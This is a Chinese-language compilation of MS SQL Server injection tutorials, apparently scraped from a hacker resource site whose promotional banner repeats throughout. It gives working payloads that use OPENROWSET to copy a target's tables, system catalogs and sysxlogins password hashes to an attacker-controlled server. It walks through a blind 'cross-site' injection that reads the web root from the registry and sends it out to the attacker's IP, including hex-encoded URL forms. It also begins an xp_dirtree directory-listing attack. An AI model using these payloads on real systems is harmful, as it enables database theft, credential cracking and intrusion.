更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
个数据库,首先要在目标主机上和自己机器上的数据库建立连接(如何在目标主机上建立远程连接,刚才已经讲了),之后insert所有远程表到本地表。 基本语法: insert into
OPENROWSET(’SQLOLEDB’, ’server=servername;uid=sa;pwd=apachy_123’, ’select * from table1’) select * from table2 这行语句将目标主机上table2表中的所有数据复制到远程数据库中的table1表中。实际运用中适当修改连接字符串的IP地址和端口,指向需要的地方,比如: insert into
OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table1’) select * from table2 需要注意的是,要成功执行这条语句的前提是必需先在本地建立一个table1,而且table1的结构必需和目标主机上table2的结构一摸一样。为了得到table2的结构,必需从系统数据库着手。首先需要了解一些SQL Server系统数据库构造的知识。当新建用户数据库后,数据库中包含一些系统表,和这个数据库相关的信息就包含在这个表中。表信息,字段名、字段类型、存储过程等关键信息均存放于
sysdatabases,sysobjects,syscolumns里面。因此可以通过复制这几个关键系统表来获得目标主机上数据库的构造信息。方法如下: insert into
OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysdatabases’) select * from master.dbo.sysdatabases insert into
OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=hack3r;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysobjects’) select * from user_database.dbo.sysobjects insert into
OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _syscolumns’) select * from
user_database.dbo.syscolumns 之后,便可以从本地数据库中看到目标主机的库结构,这已经易如反掌,不多讲,复制数据库: insert into
OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table1’) select * from database..table1 insert into
OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from table2’) select * from
database..table2 ...... 三、复制哈西表(HASH) 这实际上是上述复制数据库的一个扩展应用。登录密码的hash存储于sysxlogins中。方法如下: insert into OPENROWSET(’SQLOLEDB’, ’uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=202.100.100.1,1433;’, ’select * from _sysxlogins’) select * from
database.dbo.sysxlogins 得到hash之后,就可以进行暴力破解。这需要一点运气和大量时间。 四、防火墙处理这上述几种方法最根本的一个前提就是要求目标主机连接本地主机,所以这里必需考虑防火墙的因素。在上述所
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
跨站式SQL注入数据库攻击和防范技巧
2005-01-27 10:06作者:老凯出处:天极BLOG责任编辑:方舟 前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注入”。
思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。
既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。
第一个想法:
SQL可以连接外部的数据库。
于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。
尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。 提示必须是sysadmin的身份。。失败。 换一个思路:
只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。
于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。
第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。
DECLARE @result varchar(255) exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:Inetpub,,1''')AS a
其中的C:Inetpub,,1就是注册表记录的根目录,最后要做的是:
DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
这样就等于执行了
SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:Inetpub,,1''')AS a 这一条语句,同时你会在事件探测器那边会显示 SELECT * FROM pubs.dbo.authors where au_fname='C:Inetpub,,1'
其中的C:Inetpub 就是网站的路径。。调试成功。。
现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?
a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--
返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后: a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread
'HKEY_LOCAL_MACHINE','SYSTEMCONTROLSet001ServicesW3SVCParametersVirtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制,或许还有别的地方要转化......怎么办啊? 于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。
a.asp?id=1;DECLARE @result varchar(255) exec % 6Daster.dbo.xp_regre
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
ad 'HKEY_LOCAL_MACH%
49NE','SYSTEM\CONTROLSet001\Services\W3%
53VC\Parameters\Virtual Roots', '/' ,@r%
65sult output insert into laokai (cha8)%
20values('SELECT a.* FROM OPENROWSET(''%
53QLOLEDB'',''??IP'';''sa'';''??'', ''S%
45LECT * FROM pubs.dbo.authors where au%
5Ffname=/33.shtml' target='_blank'
class='article'>3D''''' + @result %
2B ''''''')AS a');-- 执行成功。
a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:
注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。
最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。
''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''' 部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个exec 'C:Inetpub,,1'
更多sql注入信息请关注??????????????????????37网络技术网?www.37tk.com?你黑客路上的资源站?
怪异的SQL注入
【 作者:amanl 来源:Bugkidz和Security Angel 更新时间:2004-7-6 | 字体:大 中 小】
测试您的反应速度 美女桌面壁纸 测试您的逻辑能力 美国主机介绍 幽默笑话 -
发布日期:2004-06-29
SQL注入以独特、新奇、变异的语句迎来了技术又一大突破,当然要针对奇、特这两方面作文章,要达到一出奇招,必达核心!那才是SQL注入技术的根本所在。长期以来,MS SQL以它强大的存储进程给我们带来了极大的方便,而如今注入技术主要依靠IIS出错与MS SQL系统提示信息来判断,那利用SELECT构造特殊语句,使系统出错来得到我们要的更深入的信息,如爆库、爆表等,能不能取得详细信息呢?答案是能,但必出奇招!下面我们一步步来拆解奇招! 首先打开MS SQL查询分析器,输入: xp_dirtree适用权限PUBLIC
语句:exec master.dbo.xp_dirtree 'c:'
返回的信息有两个字段subdirectory、depth。Subdirectory字段是字符型,depth字段是整形字段。想到了什么?别急,我们继续! 语句:create table dirs(paths varchar(100), id int)
作用:建表的语句,大家都熟悉吧?但这里建的表起到关键的作用!也就是和上面xp_dirtree相关连,字段相等、类型相同,为我们下一步操作作下铺垫。再来,谜底就要揭晓!
语句:insert dirs exec master.dbo.xp_dirtree 'c:'
作用:大家觉得奇怪吧?INSERT语句这样是不是有问题呢?NO!原理是只要我们建表与存储进程返回的字段相定义相等就能够执行!与常规INSERT
TABLE(COLOUMN) VALUES(VALUES)差别就是在此,VALUES值我们无法放置存储进程,利用简写:insert dirs exec master.dbo.xp_dirtree 'c:',而达到写表的效果——既然可以写表,那我们就可利用未公开存储进程来一步步达到我们想要的信息!
上面的东西大家明白了吗?不明白没关系,过招在于实战,实践胜于理论,那我们就来过过招!实际看下!以下用一个网站作为基点作测试,注意:以下测试的权限非SA权限!
语句:http://www.xxxxx.com/down/list.asp?id=1'
返回:Microsoft OLE DB Provider for SQL Server 错误 '80040e14' 字符串 '' 之前有未闭合的引号。 /down/list.asp,行21 测试权限结构: